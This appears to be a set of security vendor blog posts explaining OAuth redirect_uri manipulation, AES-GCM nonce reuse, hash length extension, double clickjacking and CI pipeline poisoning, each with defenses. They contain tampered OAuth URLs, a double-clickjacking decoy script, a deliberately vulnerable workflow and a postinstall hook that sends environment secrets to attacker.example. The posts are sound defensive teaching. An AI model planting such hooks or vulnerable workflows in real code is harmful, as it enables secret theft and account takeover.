Author: UnboundCompute

You sign in with a button, get bounced to an authorization server, approve, and land back on the app already logged in. The piece that makes that round trip work is one URL: the redirect_uri. OAuth redirect_uri manipulation is what happens when the authorization server is careless about checking that URL, so an attacker can point the authorization code or token at a server they own and walk away with your session. The flow looks normal to the user. The code just lands in the wrong place.

A quick frame: where the code goes

In the OAuth 2.0 authorization code flow, the app sends the user to the authorization server with a request like this:

https://auth.acme-notes.com/authorize?
  response_type=code&
  client_id=app123&
  redirect_uri=https://app.acme-notes.com/callback&
  scope=read&
  state=xyz789

The user logs in and approves. The authorization server then sends them back by redirecting the browser to the redirect_uri with a short lived code attached:

https://app.acme-notes.com/callback?code=AUTH_CODE_HERE&state=xyz789

The app’s backend takes that code, exchanges it for an access token, and the user is in. The whole security of this step rests on one idea: the code must only ever be delivered to a URL the real app controls. The redirect_uri is the address label on the package. If the server lets the client write any label it wants, the package goes wherever the attacker says.

OAuth redirect_uri manipulation: the validation failures that leak the code

The fix is supposed to be simple. The client registers its callback URL ahead of time, and the server only sends codes to a URL that matches what was registered. The bugs all come from matching too loosely. Here are the common ways that check fails.

No exact match, so subpaths and query params slip through

Say the registered URL is https://app.acme-notes.com/callback and the server checks only that the incoming value starts with that string. Now an attacker can append a path or a query:

redirect_uri=https://app.acme-notes.com/callback/../evil
redirect_uri=https://app.acme-notes.com/callback?next=https://evil.example

If any endpoint on that host bounces the request onward, the code travels with it. That is a classic open redirect chained into OAuth. The host matches. The destination does not.

Wildcard or substring matching

Some servers allow a wildcard like https://*.acme-notes.com/callback for convenience across subdomains. If an attacker can register or control any subdomain, even a forgotten one, they get a matching callback:

redirect_uri=https://attacker-controlled.acme-notes.com/callback

Substring checks are worse. A server that just looks for acme-notes.com anywhere in the value accepts this:

redirect_uri=https://acme-notes.com.evil.example/callback

The real domain is right there in the string. It is also just a subdomain of evil.example, which the attacker owns.

Missing registration entirely

If the client never registered a redirect_uri, or the server allows any value when none is registered, there is nothing to match against. The attacker sets the callback to their own server and the code is handed straight over.

Chaining with an open redirect on the legitimate domain

This is the one that bites teams who thought they did everything right. Suppose exact matching works and only https://app.acme-notes.com/callback is accepted. But somewhere else on that same host there is an old marketing endpoint that redirects wherever a parameter says:

https://app.acme-notes.com/go?url=https://evil.example

The attacker cannot change the registered callback. They do not need to. They craft an authorize URL with the exact, valid redirect_uri, and inside the app’s own flow the code lands on a page that then forwards the browser, fragment and query intact, to the attacker. The OAuth check passed. The open redirect did the rest.

The authorization code is a bearer token for your account. Whoever it reaches first wins. Loose redirect_uri matching just hands them the address.

A concrete walkthrough

Here is the tampered request next to the honest one. The attacker sends a victim a link that looks like a normal login. The only change is the callback:

// Honest
https://auth.acme-notes.com/authorize?response_type=code&
  client_id=app123&redirect_uri=https://app.acme-notes.com/callback&state=xyz789

// Tampered, on a server with loose matching
https://auth.acme-notes.com/authorize?response_type=code&
  client_id=app123&redirect_uri=https://app.acme-notes.com.evil.example/callback&state=xyz789

The victim is already logged in to the authorization server, so they may not even see a prompt. The server validates the callback with a substring check, decides it is fine, and redirects:

https://app.acme-notes.com.evil.example/callback?code=AUTH_CODE_HERE&state=xyz789

The attacker’s server logs the code, exchanges it for a token, and is now inside the victim’s account. The victim never typed a password into a fake page. They used the real one.

Why PKCE and state help but do not fully fix this

Two protections often get named as the answer here. They are good. They are not a replacement for matching the URL.

• State stops cross site request forgery on the callback. It ties the response back to the request the browser actually started. It does nothing about where the code is delivered. A stolen code with a matching state is still a stolen code.
• PKCE binds the code to a secret the real client holds, so a leaked code cannot be exchanged without the matching verifier. That blocks many theft scenarios. But if the attacker controls the page the code lands on, in a public client running in the browser, the verifier can leak through the same channel. PKCE also does not help when the attacker can run script on a matched host through a chained open redirect.

This is the same lesson as other authentication bugs where one weak check undoes the rest of the protocol. It shows up in SAML signature wrapping, where a valid signature guards the wrong bytes, and in JWT algorithm confusion, where the token verifies but with the attacker’s key. The clever parts of the flow do not save you if the boring check at the edge is loose.

Defenses that actually close it

• Exact string match on registered redirect URIs. Compare the full incoming value against the full registered value, byte for byte. No prefix checks, no normalization that strips paths, no host only comparisons.
• No wildcards. Do not allow * in registered URLs. Register each full callback your app uses, even if that means a longer list.
• Register complete URIs. Scheme, host, port, and path, all fixed. Never accept a request with no registered value to match against.
• Kill open redirects on allowed hosts. Audit every endpoint on a host that holds a valid callback. An open redirect anywhere on that host reopens this bug even with perfect matching.
• Use PKCE and state. Add them as layers, not as the fix. They cut the value of a leaked code and block CSRF on the callback.
• Prefer the authorization code flow with strict matching. Avoid handing tokens back directly in a redirect. Deliver a code to one exact registered URL and exchange it server side.

The assumption that breaks

Strip away the parameters and one assumption is left. The server assumes the redirect_uri it receives is one it agreed to. That holds only when the comparison is exact and every allowed host is clean of open redirects. The bug is rarely a single obvious flaw. It is a loose match plus a stray redirect two teams away, and only chaining them shows the leak. This is the kind of issue you find by asking what a system trusts, where it checks, and whether two safe looking pieces combine into an unsafe one. An early signal we find encouraging: a frontier model drove the full methodology on its own and identified and verified real access control and injection issues in test applications it had not seen before. Reasoning about how checks chain, rather than scanning for one known pattern, is what an autonomous researcher that tests assumptions is built to do. Read more on our about page.

Frequently asked questions

What is OAuth redirect_uri manipulation?

It is an attack where the authorization server validates the redirect_uri loosely, so an attacker can change it and have the authorization code or token delivered to a server they control. In the OAuth 2.0 authorization code flow the server sends the code back to the redirect_uri, so whoever that URL points at receives the code. If the check is not an exact match against a registered URL, the attacker redirects the code to their own host and takes over the account.

How does an attacker exploit a loose redirect_uri check?

They craft an authorize URL with a tampered callback and trick a logged in user into opening it. Common failures: prefix or substring matching that accepts https://acme-notes.com.evil.example/callback, wildcards like https://*.acme-notes.com/callback on a subdomain they control, no registered value to match against, or an open redirect on the legitimate host that bounces the code onward even when matching is exact. In each case the code lands on the attacker’s server.

Do PKCE and state stop redirect_uri manipulation?

They help but do not fully fix it. State stops cross site request forgery on the callback but does nothing about where the code is delivered. PKCE binds the code to a secret the real client holds, so a leaked code is harder to exchange, but in a public browser client the verifier can leak through the same channel the code does, and PKCE does not help when the attacker runs script on a matched host through a chained open redirect. Treat both as layers, not as the fix.

How do you prevent OAuth redirect_uri manipulation?

Match the full registered redirect URI exactly, byte for byte, with no prefix checks or wildcards. Register complete URIs with scheme, host, port, and path, and never accept a request with no registered value. Audit every endpoint on any host that holds a valid callback and remove open redirects, since one open redirect reopens the bug even with exact matching. Add PKCE and state as extra layers, and prefer the authorization code flow with strict matching over returning tokens in a redirect.

Put an autonomous researcher on your own systems

UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, a say in what it looks for, and founding pricing. If your team ships software worth pressure testing, apply to the design partner program.

AES GCM is one of the most used authenticated encryption modes on the internet. It gives you both secrecy and a check that nobody tampered with the message, and it is fast. It also has one rule that, if broken, turns a strong cipher into a weak one: every message encrypted under a given key must use a fresh, unique nonce. AES GCM nonce reuse breaks both halves of that promise. Repeat a nonce under the same key and an attacker can read relationships between your messages and, worse, forge valid tags for messages you never sent.

How AES GCM works, briefly

GCM stands for Galois Counter Mode. It bolts two pieces together. The first is a keystream. AES runs in counter mode, so AES never touches your plaintext directly. It encrypts a sequence of counter blocks built from the nonce, producing a stream of pseudo random bytes, and your ciphertext is the plaintext XORed with that keystream.

The second piece is the authentication tag. GCM computes a polynomial MAC called GHASH over the ciphertext and any associated data. GHASH uses a secret value called H, which is AES applied to an all zero block under your key. The result is mixed with a value derived from the nonce to form the tag the receiver checks.

So one encryption produces two outputs that both depend on the nonce: the keystream that hides the plaintext, and the tag that detects tampering. The nonce is the only thing that changes between two messages under the same key. That is why it has to be unique.

Why AES GCM nonce reuse is catastrophic

Reuse hits both pieces. Think of it as two failures that happen together.

Failure one: the keystream repeats

Counter mode turns a block cipher into a stream cipher, and the cardinal rule of any stream cipher is that you never reuse the keystream. With GCM the keystream is fully determined by the key and the nonce. Same key, same nonce, same keystream. So if you encrypt two messages, P1 and P2, with the same key and nonce, you get:

C1 = P1 XOR keystream
C2 = P2 XOR keystream

C1 XOR C2 = (P1 XOR keystream) XOR (P2 XOR keystream)
          = P1 XOR P2

The keystream cancels out. The attacker now holds the XOR of two plaintexts and never needed the key. If one message is known or guessable, the other falls out directly. Even with two unknown messages, the XOR of English text or structured JSON leaks a lot. No key was broken. Secrecy evaporated because the same mask was used twice.

Failure two: the forbidden attack recovers the auth key

This is the part that surprises people. The integrity guarantee collapses too. GHASH is a polynomial evaluated at the secret point H in a finite field, and the tag is, roughly, that polynomial plus a nonce dependent mask.

When two messages share a nonce, that mask is identical for both. Subtract one tag equation from the other and the mask cancels, the same way the keystream did. What remains is a polynomial in a single unknown, H. Every coefficient is known except H, so solving for the roots in the field recovers the authentication subkey.

Reusing a nonce does not just leak one message. It can hand the attacker the key to GHASH, after which they forge valid tags for messages of their choosing and the receiver accepts them as genuine.

Once H is known, the attacker can compute the GHASH of any ciphertext they like and produce a tag the receiver will verify. That is the forbidden attack, the documented consequence of doing the one thing GCM tells you never to do.

How nonces actually get reused in the wild

Nobody writes “reuse the nonce” on purpose. It happens through ordinary mistakes.

Random 96 bit nonces and the birthday bound

The recommended nonce for GCM is 96 bits, often generated at random because that is easy. Random looks safe, but random values collide. The birthday bound says you expect a repeat after roughly two to the power of n over two values for an n bit space, which for 96 bit nonces is around two to the 48th messages under one key. For a single laptop that is plenty of headroom. For a fleet of servers sharing one key at high volume, two to the 48th is reachable, and a single collision is enough to start the attack.

Counters that reset on reboot

A counter based nonce is safer than random, but only if it never goes backward. A device that keeps its counter in memory and restarts at zero after a crash or reboot will re emit nonces it already used. Same key across reboots plus a counter that resets equals guaranteed reuse.

One key shared across many encryptors

Spread the same key across several machines and you have to coordinate their nonces. If two of them independently pick from the same range, they emit the same nonce under the same key. Cloning a virtual machine that already holds key and counter state quietly duplicates nonces across every clone.

How to defend against it

The defenses are concrete and they stack. None of them require new cryptography.

• Never reuse a nonce under a key. Treat that as a hard invariant. Everything below serves this one rule.
• Prefer a deterministic counter over randomness. A 96 bit nonce made of a per message counter that strictly increases and never wraps avoids birthday collisions entirely. Persist the counter so a reboot cannot rewind it.
• If you must use random nonces, cap messages per key. Stay well under the birthday bound, then rotate.
• Rotate keys often. A fresh key resets the whole nonce space and limits how much data a recovered H exposes.
• Use a misuse resistant scheme when reuse is plausible. AES GCM SIV derives its internal value from both the nonce and the message, so a repeated nonce leaks only whether two identical plaintexts were sent, never the authentication key. It is the right default for distributed encryptors that cannot perfectly coordinate.
• Coordinate nonces across machines. If many encryptors share a key, give each a distinct nonce prefix so their ranges cannot overlap, or give each its own key.
• Generate nonces from a real CSPRNG. A weak or seeded generator produces predictable or repeating values. Use the platform secure random source.

Notice the shape of this bug. It is not a flaw in AES. It is a broken assumption about how the mode is used, that every nonce is unique. The same pattern shows up across cryptography, where the math is sound but a usage rule gets quietly violated. A padding oracle attack turns a tiny error message into full plaintext recovery, and JWT algorithm confusion tricks a verifier into trusting the wrong key. In every case the primitive is fine and the integration around it breaks.

The assumption that breaks

AES GCM nonce reuse is a clean example of a security property that depends entirely on how the system is built around the cipher. The encryption is strong and the mode is strong. The failure lives in a counter that resets, a key copied to too many places, or a random nonce drawn one too many times. Those assumptions get missed in code review because the library call looks correct on its own line. This is the kind of bug you find by asking what a system assumes and then checking whether anything can make that assumption false. An early signal we find encouraging: a frontier model drove the full methodology on its own and identified and verified real access control and injection issues in test applications it had not seen before. That is what an autonomous researcher is built to do. Read more on our about page.

Frequently asked questions

What is AES GCM nonce reuse?

It is the mistake of encrypting two or more messages with the same key and the same nonce in AES GCM. GCM needs a unique nonce per key because the nonce determines both the counter mode keystream and the value mixed into the authentication tag. Reuse it and the keystream repeats, which lets an attacker XOR two ciphertexts to cancel the mask and recover plaintext relationships, and it also exposes the GHASH authentication subkey. It is a usage error, not a flaw in AES itself.

What is the forbidden attack on AES GCM?

The forbidden attack is the integrity failure that follows a repeated nonce. The GCM tag is a polynomial in a secret value H, plus a mask that depends only on the nonce. When two messages share a nonce, that mask is identical, so subtracting the two tag equations cancels it and leaves a polynomial in the single unknown H. The attacker knows the ciphertexts and tags, so they solve for the roots in the finite field and recover H. With H known, they can forge valid tags for arbitrary messages the receiver will accept.

How do nonces get reused by accident?

Several ordinary ways. Random 96 bit nonces collide after roughly two to the 48th messages under one key because of the birthday bound, which a busy fleet can reach. Counter based nonces stored only in memory reset to zero after a crash or reboot and re emit old values. Sharing one key across many machines or cloning a virtual machine that already holds key and counter state lets two encryptors pick the same nonce. A weak random source can also repeat or predict nonces.

How do you prevent AES GCM nonce reuse?

Treat a unique nonce per key as a hard rule. Prefer a strictly increasing counter that is persisted so a reboot cannot rewind it. If you use random nonces, cap messages per key well under the birthday bound and rotate keys often. Give each encryptor a distinct nonce prefix or its own key so distributed machines cannot overlap. When reuse is plausible, use a misuse resistant scheme like AES GCM SIV, which limits the damage of a repeated nonce to leaking only whether two plaintexts were identical, never the authentication key.

Put an autonomous researcher on your own systems

UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, a say in what it looks for, and founding pricing. If your team ships software worth pressure testing, apply to the design partner program.

You built a tiny security check. Take a secret key, stick the message after it, hash the whole thing, and send that hash as a signature. If someone tampers with the message, the hash will not match, so you are safe. That feeling of safety is wrong. A hash length extension attack lets an attacker take your signature and the message, append their own data, and produce a valid signature for the longer message, all without ever learning the secret key.

The broken pattern: a MAC built as H(secret || message)

A message authentication code, or MAC, proves two things at once. The message has not changed, and it came from someone who holds the secret. The naive way to build one is to glue the secret in front of the message and hash it:

sig = SHA256(secret + message)

The server knows the secret, recomputes SHA256(secret + message) on each request, and checks the sig matches. Looks reasonable. The secret is never sent, an attacker cannot guess it, and any edit to the message changes the hash. The problem is not the secret. It is how SHA256, SHA1, and MD5 are built on the inside.

Merkle Damgard: why the digest is resumable state

MD5, SHA1, and SHA256 all share a design called the Merkle Damgard construction, named after its two inventors. It works in three steps.

• Pad the input. The hash works on fixed size blocks, 64 bytes for these functions. A padding tail is added so the total length is a clean multiple of the block size: a single 0x80 byte, then zero bytes, then the original message length encoded as a number at the very end.
• Process block by block. Start with a fixed initial state. Mix in the first block, then mix the next block into the updated state, and keep going until every block is consumed.
• Output the state. When the last block is done, the internal state IS the final hash. The digest you print as hex is a direct copy of the machine’s internal registers.

Read that last point again, because it is the whole attack. The output is not a one way summary of the state. It is the state. Nothing is hidden or thrown away on the way out.

The digest is not a fingerprint of the internal state. It is the internal state, copied straight out. So whoever holds the digest can sit down at the machine and keep hashing from exactly where it stopped.

How a hash length extension attack actually works

Imagine the server signs API requests with SHA256(secret + message). You intercept one, so you have the message and the signature but not the secret. Here is what you can do anyway.

The signature you hold is the internal state of the hash right after it processed secret + message + padding. Load that state into your own SHA256 engine, resume hashing as if it never stopped, and feed it any extra bytes you want. The new output is a valid hash of secret + message + padding + extra, produced without the secret.

A concrete example: from user to admin

Say the signed request is a query string. The server hashed the secret plus the part after the question mark.

?user=bob&role=user&sig=2f1a...c9

You want to add &role=admin and still have a valid sig. You do not know the secret, but you can guess its length and try each likely value in turn. For one guess, the steps are:

• Load the known sig value as the resumable state of a fresh SHA256.
• Work out the padding the hash would have added after secret + "user=bob&role=user". That depends only on the total length, which is the secret length guess plus the known message length.
• Resume the hash, feed it your extra data &role=admin, and read out the new digest. That is your forged signature.

The message you send is the original bytes, then the glue padding, then your extra data:

user=bob&role=user\x80\x00\x00...[length bits]...&role=admin

When the server computes SHA256(secret + that_whole_thing), it lands on the exact state you predicted, so your forged sig matches. Most query string and form parsers ignore the padding bytes or treat duplicate keys as last value wins, so the server reads role=admin and you are now an admin. You never saw the secret. You only needed the original hash and a guess at the secret length, which you can brute force from 1 to maybe 64 in under a second. A tool called hash_extender does the whole computation for you.

Why this breaks naive secret prefix MACs but not encryption

The attack does not decrypt anything and does not reveal the secret. It just continues a computation. That narrow ability is enough, because the only thing standing between an attacker and a valid signature is the ability to compute the final hash, and the published hash hands them the starting point for free.

It is the same family of mistake as trusting a value you do not fully control. A padding oracle attack turns a small leak about padding into full plaintext recovery, and a JWT algorithm confusion attack tricks a verifier into accepting a token signed the wrong way. All three share a root: a design assumed an attacker could not do one thing, and the construction quietly let them do it.

The fix: use HMAC, or a hash that resists this

The good news is that this is a solved problem.

• Use HMAC. HMAC wraps the hash in two keyed passes, roughly H(key2 + H(key1 + message)). The outer hash hides the inner state, so the published value is no longer a resumable state of secret + message. Length extension does not work against it. Reach for HMAC over SHA256 and your existing SHA256 is safe to use.
• Or use a hash that is not Merkle Damgard. SHA3 uses a sponge construction and BLAKE2 has built in keying. Neither exposes a resumable internal state in the output, so H(secret + message) with these is not vulnerable to this attack. HMAC is still the more standard choice for a MAC.
• Never roll your own keyed hash. SHA256(secret + message) looks obviously fine and is obviously broken. Stop hand building MAC schemes from raw hash functions and call the HMAC function your language already ships.

If you inherit code that signs with a bare hash(secret + data), treat it as a finding, not a style nitpick. Swapping it to HMAC is a small change with a large payoff.

How to spot it in a real app

You rarely see the words “length extension” in a codebase. You see the shape that allows it:

• A signature computed as md5(secret . data), sha1(key + payload), or any concatenation of a key and a message fed straight into a plain hash.
• An API that accepts a sig field and verifies it by recomputing a hash over a secret and request data.
• Parameters where the last duplicate key wins, which lets an appended &role=admin override the real value cleanly.

A scanner looking for known bad strings walks right past sha256(secret + message), because there is no payload to match. The bug is in the design assumption, not in any one line. Catching it means understanding what the code is trying to prove and asking whether the math actually proves it. That is the kind of reasoning an autonomous researcher that tests assumptions is built for. In our own early work a frontier model drove the full methodology on its own and identified and verified real access control and injection issues in test applications it had not seen before, an encouraging early signal rather than a benchmark. For the wider approach, read more on our about page.

Frequently asked questions

What is a hash length extension attack?

It is an attack against signatures built as a plain hash of a secret followed by a message, like SHA256(secret + message). Because hashes such as MD5, SHA1, and SHA256 use the Merkle Damgard construction, their output is the resumable internal state of the hash. An attacker who knows the original hash and the length of the secret can resume the computation and append extra data, producing a valid hash for the longer message without ever learning the secret.

Which hash functions are vulnerable?

The Merkle Damgard hashes are vulnerable: MD5, SHA1, SHA256, and SHA512 all expose their full internal state in the digest. SHA-3 uses a sponge construction and BLAKE2 has built in keying, so neither leaks a resumable state and neither is vulnerable to this attack. The vulnerability is in how the bare hash is used as a MAC, not only in the hash itself.

Does the attacker need to know the secret?

No. That is what makes the attack work. The attacker needs the original message, the original hash, and the length of the secret. The secret length can be brute forced by trying each value from 1 to about 64, since each guess produces a candidate forgery to test. The secret itself is never recovered and never needs to be.

How do you fix a hash length extension attack?

Use HMAC instead of a hand built keyed hash. HMAC wraps the hash in two keyed passes, so the published value is no longer a resumable internal state and length extension fails. Reach for HMAC-SHA256 from your standard library. You can also use SHA-3 or BLAKE2, which are not vulnerable, but the main rule is to never roll your own MAC as hash(secret + message).

Put an autonomous researcher on your own systems

UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, a say in what it looks for, and founding pricing. If your team ships software worth pressure testing, apply to the design partner program.

You see a normal looking page. It says “Please double click to confirm you are human,” with a single button in the middle. You double click. By the time your second click lands, the button under your cursor is no longer the one you saw. It is a real “Authorize” button on a site where you are already logged in, and you just granted an app full access to your account. That is double clickjacking, a technique published by Paulos Yibelo in 2024. It revives an old idea that browsers were supposed to have killed, and it does so by abusing the gap between the two clicks of a double click.

The classic defense baseline

Old school clickjacking loaded a target site inside an invisible iframe on the attacker’s page. The attacker made the real frame transparent and lined up its sensitive button with whatever the user thought they were clicking. The click passed through to the framed site. The user believed they pressed “Play video.” They actually pressed “Delete account” or “Send money.”

Browsers and sites pushed back with three controls, and together they shut most of this down:

• X-Frame-Options. A response header that tells the browser whether a page may be framed at all. Set it to DENY and no other site can put your page in an iframe.
• frame-ancestors in Content Security Policy. The modern replacement. Content-Security-Policy: frame-ancestors 'none' does the same job with more control over who is allowed to frame you.
• SameSite cookies. Marking a session cookie SameSite=Lax or Strict means the browser does not attach it to many cross site requests, so a framed action often runs logged out and fails.

These work because they all assume the same thing: the attack needs the target page to be rendered inside a frame the attacker controls. Block the frame, block the attack.

Why double clickjacking sidesteps every one of them

Here is the move. Double clickjacking does not render the target inside a frame during the click. It puts the target in the top level window, the real tab, at the exact moment the second click happens. No frame is involved in the sensitive action, so frame busting headers have nothing to bite on.

The frame defenses guard against being embedded. They say nothing about what your top window shows between the first and second click. That timing gap is the whole attack.

X-Frame-Options and frame-ancestors only fire when a page is loaded as a sub frame. The target here loads as a normal navigation in a window the user already trusts. SameSite cookies do not help either, because the sensitive page is the user’s own first party session. The user is logged in, on the real domain, clicking a real button. Nothing looks cross site at all.

The timing trick, step by step

This is the conceptual flow, kept defensive so you can recognize it and design against it. The point is to see the shape, not to build it.

• Step one. The user lands on an attacker page with a believable reason to double click. “Double click to verify,” a fake captcha, a “double click to close this ad.”
• Step two. The first mousedown triggers JavaScript that opens a new top window pointed at the target’s sensitive page, an OAuth consent screen or an account action where the user is already authenticated.
• Step three. In the same instant, the original page closes its own parent so the second click of the double click falls onto the now focused target window, right where its “Authorize” or “Confirm” button sits.
• Step four. The second click lands on the real button. The action completes. The decoy is gone before the user can read what happened.

The user only ever decided to double click a harmless prompt. The browser saw two ordinary clicks. The target site saw one legitimate click from a logged in user on its own page. Every layer behaved as designed, and the account still got compromised.

A sketch of the bait

The attacker side is mundane. The danger is in the window juggling that follows, not in clever markup. A stripped down decoy looks this innocent:

<!-- attacker decoy page, simplified -->
<div id="prompt">
  <p>Please double click to verify you are human</p>
  <button id="verify">Double click here</button>
</div>

<script>
  // On the FIRST press, open the real target as a top window.
  document.getElementById('verify')
    .addEventListener('mousedown', openTarget);

  function openTarget() {
    // Target is the user's own authenticated consent/settings page.
    window.open('https://app.example.com/oauth/authorize?...');
    // The decoy then gets out of the way so the SECOND click
    // of the same double click lands on the real button.
  }
</script>

Notice what is not here: no iframe wrapping the target, no transparent overlay on top of app.example.com. That absence is exactly why the frame headers never trigger.

What gets targeted

The attack pays off wherever a single click does something important on a page where the victim is already signed in:

• OAuth consent screens. One “Authorize” click can hand a third party app read and write access to your email, files, or repos. This is the prize target, because the grant is durable and quiet.
• Account changes. “Confirm new email,” “add this device,” “disable two factor,” “make this user an admin.” Anything gated by one confirmation button.
• One click approvals. Payment confirmations, friend or follow grants, app install prompts, any flow that bragged about being a single click.

This sits in the same family as CSRF, where the attacker gets the victim’s browser to perform an action they did not intend. The difference is the path. CSRF forges the request in the background. Double clickjacking borrows a real, deliberate click from the user. It also differs from CORS misconfiguration, where the leak comes from a server reading cross origin responses it should not. Double clickjacking never needs to read anything. It only needs the click to land.

Defenses that actually fit this

Keep the frame headers, they still stop classic clickjacking. But they do not cover this case, so the real defenses live in how your sensitive actions are designed.

Make a single stray click not enough

• Require a non trivial gesture. A sensitive action should not complete on one bare click. Ask for a typed confirmation, a checkbox the user must tick first, or a drag, something a hijacked second click cannot satisfy on its own.
• Disable the button until the page settles. Yibelo’s proposed defense keeps the dangerous button inert until a short delay passes or a real interaction signal arrives, like the user moving the mouse or scrolling on that page. A button that wakes up only after genuine engagement cannot be hit by a click that arrived in the same millisecond the window opened.

Refuse to trust a fresh, unattended click

• Re authenticate for high impact actions. Prompt for the password, a passkey, or a code before granting OAuth scopes or changing security settings. A stolen click cannot type a password.
• Avoid one click authorize. For consent flows, add a deliberate second step that is not a single button, such as reviewing the exact scopes and confirming them. Friction here is the feature.
• Watch the window context. Yibelo also suggested browser side and page side signals, like noticing when a page was opened and immediately focused, and treating that as suspicious for sensitive actions. On your own pages you can check whether the window just received focus before honoring a critical click.

Keep the old protections too

None of this means dropping X-Frame-Options or frame-ancestors. Layer them. The frame headers close the original hole, and the gesture and re auth rules close the timing hole that double clickjacking opened. Each control covers a different assumption.

The assumption that breaks

Strip out the window tricks and one belief is left standing. Sites assume that a click on their own page, from their own logged in user, was meant for the thing under the cursor. Double clickjacking shows the second half of a double click can be redirected onto a button the user never saw. The fix is to stop treating any single click as proof of intent for actions that matter. This is the kind of flaw you find by asking what a flow assumes about its user’s intent, not by matching a known payload. An early signal we find encouraging: a frontier model drove the full methodology on its own and identified and verified real access control and injection issues in test applications it had not seen before. Read more on our about page.

Frequently asked questions

What is double clickjacking?

Double clickjacking is a technique published by Paulos Yibelo in 2024 that tricks a user into double clicking a harmless looking prompt. Between the first and second click, the attacker page swaps the top level window to a sensitive page where the user is already logged in, like an OAuth consent screen, so the second click lands on a real Authorize or Confirm button. The user only meant to double click a decoy, but they approved a real action on their own account.

Why do X-Frame-Options and frame-ancestors not stop it?

Those defenses only fire when a page is loaded inside a frame the attacker controls. Double clickjacking never renders the target in a frame during the click. It opens the target in the real top level window, so there is no sub frame for X-Frame-Options or the Content Security Policy frame-ancestors directive to block. SameSite cookies do not help either, because the sensitive page is the user’s own first party session and nothing looks cross site.

What does double clickjacking usually target?

It targets any action that completes with a single click on a page where the victim is already signed in. The prize target is OAuth consent screens, where one Authorize click can grant a third party app durable access to email, files, or repositories. It also hits account changes like confirming a new email, disabling two factor, or promoting a user to admin, plus one click approvals such as payments and app installs.

How do you defend against double clickjacking?

Stop treating a single click as proof of intent for important actions. Require a non trivial gesture such as a typed confirmation or a ticked checkbox. Yibelo’s proposed defense is to keep sensitive buttons disabled until a short delay passes or a real interaction signal arrives, so a click that lands the instant a window opens does nothing. Re authenticate before granting OAuth scopes or changing security settings, avoid one click authorize, and keep the frame headers in place as a separate layer.

Put an autonomous researcher on your own systems

UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, a say in what it looks for, and founding pricing. If your team ships software worth pressure testing, apply to the design partner program.

Your build pipeline is the most trusted machine you own. It holds deploy keys, signing certificates, cloud tokens, and the power to push code to production, and it runs whatever script the repo tells it to. Poisoned pipeline execution is what happens when an attacker gets their own code to run inside that machine. They do not need your password or a server exploit. They send a pull request, or edit a script the build already runs, and your CI hands them the secrets it was built to protect.

Why a pipeline is worth so much

A CI/CD runner is not a sandbox. It is a privileged service account with a shell. To do its job it usually holds some mix of the following in environment variables or mounted files:

• Deploy credentials. Keys that push to production, write to a registry, or update infrastructure.
• Signing keys. The thing that makes a release look official to everyone downstream.
• Cloud tokens. Often a short lived OIDC token that the runner exchanges for an AWS, GCP, or Azure role with real permissions.
• A repo token. On GitHub Actions this is GITHUB_TOKEN, which can read and write repo contents, open releases, and more depending on its scope.

So the prize is not the build. It is everything the build can touch. If attacker code runs in that context, even for one step, it can read every secret in the environment and use every permission the job holds. One curl to an external host and the keys are gone.

The attacker does not break into the pipeline. They get the pipeline to run their code, and the pipeline does the rest with its own credentials.

The three flavors of poisoned pipeline execution

This is a class of bug, not a single trick. It shows up in three shapes that share one root: untrusted input deciding what privileged code runs.

Direct: edit the pipeline file itself

The attacker opens a pull request that changes the workflow definition and adds a step to dump secrets or run their payload. If that change runs with real credentials before anyone reviews it, that is direct poisoning. Letting workflow files be edited and run by lower trust contributors is dangerous on its own.

Indirect: poison a script the pipeline runs

Most builds do not run only the workflow file. They run a Makefile, a test runner, a linter config, or npm lifecycle scripts. An npm postinstall hook runs automatically on npm install. If an attacker controls any of those files, they never touch the pipeline definition. They edit the script, the pipeline runs it as a normal build step, and their code executes with full job permissions. The workflow looks clean. The payload is one layer down.

Public: an untrusted pull request triggers a privileged workflow

This is the most common and the most painful. A public repo accepts pull requests from forks, and you want CI to run on them. The danger is in how. On GitHub Actions the pull_request trigger runs forked PR code without access to repo secrets, which is safe. The pull_request_target trigger runs with repo secrets, in the context of the base repo. It exists for jobs that label PRs or post comments. The trap is checking out the PR branch and running its code while those secrets are present.

A concrete vulnerable workflow

Here is a small GitHub Actions workflow that looks helpful and leaks everything. It uses pull_request_target, checks out the attacker’s branch, then runs the project’s build, which executes repo scripts.

name: PR build
on:
  pull_request_target:        # runs WITH base repo secrets

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}  # attacker code
      - run: npm install       # runs attacker's postinstall script
      - run: npm run build
        env:
          DEPLOY_TOKEN: ${{ secrets.DEPLOY_TOKEN }}

An attacker opens a pull request from a fork that adds one line to package.json:

{
  "scripts": {
    "postinstall": "curl -s https://attacker.example/x -d \"$(env | base64)\""
  }
}

The workflow checks out their branch, runs npm install, the postinstall hook fires, and the whole environment, including DEPLOY_TOKEN, gets posted to a server they own. They never needed to be a collaborator. They just sent a PR. This is the same supply chain shape as a dependency confusion attack: untrusted code ends up running in a context that trusts it.

How to spot it in your own setup

Look for the dangerous combination, not any single piece. The risk appears when all three are true in one job:

• The trigger runs with access to secrets or a privileged token (for example pull_request_target).
• The job checks out or runs untrusted code (a fork’s branch, or an editable repo script).
• That code runs before a human approves it.

Search your workflows for pull_request_target paired with any checkout of the PR head. Then check builds for repo scripts that run automatically: postinstall, prepare, Makefile targets, test configs. Any of those is where indirect poisoning hides.

Defenses that actually close poisoned pipeline execution

You do not need one big fix. You need a few small rules that each remove a precondition.

• Do not combine pull_request_target with checkout of PR code and secrets. If you must use it, do not check out the fork’s code in the same job that holds secrets. Use plain pull_request for anything that runs untrusted code, since it has no secrets by default.
• Require approval for fork workflows. Configure the repo so that workflows from first time or outside contributors only run after a maintainer clicks approve. That removes the automatic run that the public flavor depends on.
• Give GITHUB_TOKEN the least privilege it needs. Set permissions: read-all at the top, then grant write only to the specific jobs that need it. A read only token is far less useful to an attacker.
• Pin actions by full commit SHA, not a tag. Use uses: actions/checkout@<sha> instead of @v4. A tag can be moved to point at new code; a SHA cannot. This stops a compromised action from poisoning your build the way a moved tag would.
